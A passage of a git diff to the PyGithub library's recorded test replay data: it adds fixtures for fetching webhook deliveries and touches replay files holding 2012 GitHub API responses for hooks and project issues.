"size":4111,"path":"github/GithubObjects/GithubObject/Basic.py","sha":"2702c9f4df72cd9c77e4545081cf7e5511523a0f","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/b7a2f794033bcbd3c28ba1e49369a49da5c78a5d","size":24438,"path":"github/GithubObjects/GithubObject/GithubObject.UnitTest.py","sha":"b7a2f794033bcbd3c28ba1e49369a49da5c78a5d","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/72464749e55a17e232841444bcddb48ad81d1b31","size":5179,"path":"github/GithubObjects/GithubObject/GithubObject.py","sha":"72464749e55a17e232841444bcddb48ad81d1b31","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/b4d29b38144d319b1d18f96eb4e9502fa82fd4c6","size":8470,"path":"github/GithubObjects/GithubObject/List.py","sha":"b4d29b38144d319b1d18f96eb4e9502fa82fd4c6","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/a7aeb7372fba85d33239c7d023f779f0d7db81ad","size":921,"path":"github/GithubObjects/GithubObject/TypePolicies.py","sha":"a7aeb7372fba85d33239c7d023f779f0d7db81ad","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/cbc7e4d667044eb16ddbe42d6242857057b5fc4d","size":27,"path":"github/GithubObjects/GithubObject/__init__.py","sha":"cbc7e4d667044eb16ddbe42d6242857057b5fc4d","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/36dc1354a94613fc3a0d785028f9792182a07af8","size":671,"path":"github/GithubObjects/Hook.py","sha":"36dc1354a94613fc3a0d785028f9792182a07af8","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/13c2f05af897f7b1fc5fc789f73757ee1e3731a0","size":1612,"path":"github/GithubObjects/Issue.py","sha":"13c2f05af897f7b1fc5fc789f73757ee1e3731a0","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/fb812b33bb5c3cb7fc65048e191c95d586888434","size":387,"path":"github/GithubObjects/IssueComment.py","sha":"fb812b33bb5c3cb7fc65048e191c95d586888434","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/c5b6fd29765aeefd1113e255c5b58f4fdf7c99e3","size":328,"path":"github/GithubObjects/IssueEvent.py","sha":"c5b6fd29765aeefd1113e255c5b58f4fdf7c99e3","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/aec594f92b8081b93a469c6f7b5c616df5197b6b","size":370,"path":"github/GithubObjects/Label.py","sha":"aec594f92b8081b93a469c6f7b5c616df5197b6b","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/7cd1bc0d6dc6b78d2a98b908de4a607621f30919","size":742,"path":"github/GithubObjects/Milestone.py","sha":"7cd1bc0d6dc6b78d2a98b908de4a607621f30919","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/c460d2f2b4e842a1517f4fd10b338768cccad2a3","size":963,"path":"github/GithubObjects/NamedUser.py","sha":"c460d2f2b4e842a1517f4fd10b338768cccad2a3","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/74c170d10feaace6bfa523224011147627a05df2","size":1968,"path":"github/GithubObjects/NamedUser_complete.py","sha":"74c170d10feaace6bfa523224011147627a05df2","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/3fb7adc168b5ed21c58363a4efe1f195cab3f81d","size":1052,"path":"github/GithubObjects/Organization.py","sha":"3fb7adc168b5ed21c58363a4efe1f195cab3f81d","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/dd1096ae08e979220dd0e4c9faf684c33578f819","size":1290,"path":"github/GithubObjects/Organization_complete.py","sha":"dd1096ae08e979220dd0e4c9faf684c33578f819","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/5ee414d50e9d1ba4ee5c3132904d3f48f21be0b6","size":2045,"path":"github/GithubObjects/PullRequest.py","sha":"5ee414d50e9d1ba4ee5c3132904d3f48f21be0b6","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/ac3cb0d3f33adfc281ca9ef5eaa8b7a45f9cf0f7","size":459,"path":"github/GithubObjects/PullRequestComment.py","sha":"ac3cb0d3f33adfc281ca9ef5eaa8b7a45f9cf0f7","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/d7135d168b80968f5d207c4c14b2a27c46ce3eb7","size":236,"path":"github/GithubObjects/PullRequestFile.py","sha":"d7135d168b80968f5d207c4c14b2a27c46ce3eb7","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/81ce811139f1e108a4c33ae5be07d1c618dc2a1b","size":8064,"path":"github/GithubObjects/Repository.py","sha":"81ce811139f1e108a4c33ae5be07d1c618dc2a1b","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/cea71c017ea61a7a8d39df0077838132c10f743e","size":318,"path":"github/GithubObjects/RepositoryKey.py","sha":"cea71c017ea61a7a8d39df0077838132c10f743e","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/4a9ae6f58fd12b622cdce969648c4b3f293d3242","size":753,"path":"github/GithubObjects/Repository_complete.py","sha":"4a9ae6f58fd12b622cdce969648c4b3f293d3242","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/cd65493dc75482f3000a7df631ba70f2fe2023a6","size":203,"path":"github/GithubObjects/Tag.py","sha":"cd65493dc75482f3000a7df631ba70f2fe2023a6","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/fcd844200ff859b29c892ccffb8bfe124b1af2bd","size":748,"path":"github/GithubObjects/Team.py","sha":"fcd844200ff859b29c892ccffb8bfe124b1af2bd","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/ba912f6accf2030147561fdd9614b152d427d24b","size":272,"path":"github/GithubObjects/UserKey.py","sha":"ba912f6accf2030147561fdd9614b152d427d24b","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/e19884f3141840b495c2c42bcb0708a4a58f7a1f","size":297,"path":"github/GithubObjects/__init__.py","sha":"e19884f3141840b495c2c42bcb0708a4a58f7a1f","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/1901018b6ebb83c70bb8077568177bc213de7ce6","size":3336,"path":"github/Requester.UnitTest.py","sha":"1901018b6ebb83c70bb8077568177bc213de7ce6","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/fac044b85acf5419e36f494de21559871c7fb743","size":2776,"path":"github/Requester.py","sha":"fac044b85acf5419e36f494de21559871c7fb743","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/109d6b9a44f7e489bb5f860da7d76407b2c99a66","size":26,"path":"github/__init__.py","sha":"109d6b9a44f7e489bb5f860da7d76407b2c99a66","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/9532bcaa5fcc0a9d3678b3e4fd05688e32d2a321","size":673,"path":"run_tests.sh","sha":"9532bcaa5fcc0a9d3678b3e4fd05688e32d2a321","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/53bce9fa919b4544e67275089b3ec5b44be20667","size":1295,"path":"setup.py","sha":"53bce9fa919b4544e67275089b3ec5b44be20667","mode":"100644"}]} - diff --git a/tests/ReplayData/Repository.testGetHookDeliveries.txt b/tests/ReplayData/Repository.testGetHookDeliveries.txt new file mode 100644 index 0000000000..b54039833d --- /dev/null +++ b/tests/ReplayData/Repository.testGetHookDeliveries.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/repos/jacquev6/PyGithub/hooks/257993/deliveries +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '295'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"07e5e1a2fafd1a5e2de62eb3afd007d5"'), ('date', 'Sun, 27 May 2012 07:02:25 GMT'), ('content-type', 'application/json; charset=utf-8')] +[{"id":12345,"guid":"abcde-12345","delivered_at":"2012-05-27T06:00:32Z","redelivery":false,"duration":0.27,"status":"OK","status_code":200,"event":"issues","action":"opened","installation_id":123,"repository_id":456,"url":"https://www.example-webhook.com"}] diff --git a/tests/ReplayData/Repository.testGetHookDelivery.txt b/tests/ReplayData/Repository.testGetHookDelivery.txt new file mode 100644 index 0000000000..67029a72d6 --- /dev/null +++ b/tests/ReplayData/Repository.testGetHookDelivery.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/repos/jacquev6/PyGithub/hooks/257993/deliveries/12345 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '295'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"07e5e1a2fafd1a5e2de62eb3afd007d5"'), ('date', 'Sun, 27 May 2012 07:02:25 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"id":12345,"guid":"abcde-12345","delivered_at":"2012-05-27T06:00:32Z","redelivery":false,"duration":0.27,"status":"OK","status_code":200,"event":"issues","action":"opened","installation_id":123,"repository_id":456,"url":"https://www.example-webhook.com","request":{"headers":{"content-type": "application/json"},"payload":{"action": "opened"}},"response":{"headers":{"content-type": "text/html;charset=utf-8"},"payload":"ok"}} diff --git a/tests/ReplayData/Repository.testGetHooks.txt b/tests/ReplayData/Repository.testGetHooks.txt index 3ee37ebea3..4f4acf54ea 100644 --- a/tests/ReplayData/Repository.testGetHooks.txt +++ b/tests/ReplayData/Repository.testGetHooks.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '295'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"07e5e1a2fafd1a5e2de62eb3afd007d5"'), ('date', 'Sun, 27 May 2012 07:02:25 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T06:00:32Z","last_response":{"status":"ok","message":"OK","code":200},"events":["push"],"url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/257993","active":true,"name":"web","config":{"url":"http://foobar.com"},"id":257993,"created_at":"2012-05-19T06:01:45Z"}] - diff --git a/tests/ReplayData/Repository.testGetIssues.txt b/tests/ReplayData/Repository.testGetIssues.txt index 93e10fac45..69a4b33908 100644 --- a/tests/ReplayData/Repository.testGetIssues.txt +++ b/tests/ReplayData/Repository.testGetIssues.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4950'), ('content-length', '28950'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"41676dcfbbfc49368e60f758c3e1d36f"'), ('date', 'Sun, 27 May 2012 07:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T05:40:15Z","body":"Body created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/30","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":30,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Issue also created by PyGithub","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-27T05:40:15Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":4769659,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/30"},{"updated_at":"2012-05-18T11:06:11Z","body":"As per discussion in 6945921c529be14c3a8f566dd1e483674516d46d\n\nI have observed that autocompletion (using PyDev+Eclipse in my case) is pretty erratic.\nFor example, in the tutorial from the readme, `g.get_u` gets autocompleted correctly, but `g.get_user().get_r` (or any method or attribute applicable to `NamedUsers`/`AuthenticatedUser`, really) does not show autocompletion to `g.get_user().get_repo()`.\n\nThis makes exploring the library/API a bit cumbersome. ","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/27","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":27,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Facilitate IDE autocompletion","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-05-18T10:52:29Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":4639931,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/27"},{"updated_at":"2012-05-07T10:49:06Z","body":"List known clients.\r\n\r\nFirst known client: http://pypi.python.org/pypi/tratihubis/ (cf #24)","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/25","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":25,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"List project(s) using PyGithub","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-05-07T10:49:06Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":4452000,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/25"},{"updated_at":"2012-05-04T19:23:57Z","body":"Thanks for PyGithub, it is easy to use and very complete. I just successfully used it to convert Trac tickets to Guthub issues.\r\n\r\nBut I had to learn the hard way that `create_issue()` expectes the milestone as number instead of a title. To track this down, I added the following `print` statement to `Requester.py`:\r\n\r\n```python\r\ndef __statusCheckedRequest( self, verb, url, parameters, input ):\r\n status, headers, output = self.__rawRequest( verb, url, parameters, input )\r\n if status < 200 or status >= 300:\r\n print output # <--- Added by me.\r\n raise UnknownGithubObject() # <--- sadly lacks any error details\r\n return headers, output\r\n```\r\n\r\nAs `output` already contains all the information needed (as JSON dump), it would be helpful if the exception raised here would include this information in the exception message.","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/24","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":24,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Improve error messages on broken requests","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-04-30T20:01:20Z","state":"open","user":{"url":"https://api.github.com/users/roskakori","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328726},"id":4356743,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/24"},{"updated_at":"2012-03-19T19:08:18Z","body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/20","comments":0,"milestone":null,"number":20,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Rework GitTree.recursive","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Refactoring","name":"Refactoring","color":"0b02e1"}],"created_at":"2012-03-19T19:08:18Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3716033,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/20"},{"updated_at":"2012-03-19T19:04:19Z","body":"In general, when you get a collection, you should get an iterable, and the pagination should be done only if needed. This is mandatory for Github.get_gists","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/19","comments":0,"milestone":null,"number":19,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Rework Github.get_gists","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"created_at":"2012-03-19T19:04:19Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3715946,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/19"},{"updated_at":"2012-03-14T06:49:31Z","body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/18","comments":0,"milestone":null,"number":18,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Take care of _identity","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Refactoring","name":"Refactoring","color":"0b02e1"}],"created_at":"2012-03-14T06:49:31Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3643837,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/18"},{"updated_at":"2012-03-13T12:09:48Z","body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/17","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":17,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Document issue reporting","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-03-13T12:09:48Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3628022,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/17"},{"updated_at":"2012-03-13T07:04:42Z","body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/16","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":16,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Add copyright and license notice","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-03-13T06:25:31Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3624595,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/16"},{"updated_at":"2012-03-13T06:23:35Z","body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/14","comments":0,"milestone":null,"number":14,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Rework BaseUrl to use tuples instead of string concatenation","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Refactoring","name":"Refactoring","color":"0b02e1"}],"created_at":"2012-03-13T06:23:35Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3624570,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/14"},{"updated_at":"2012-03-13T06:22:27Z","body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/13","comments":0,"milestone":null,"number":13,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"c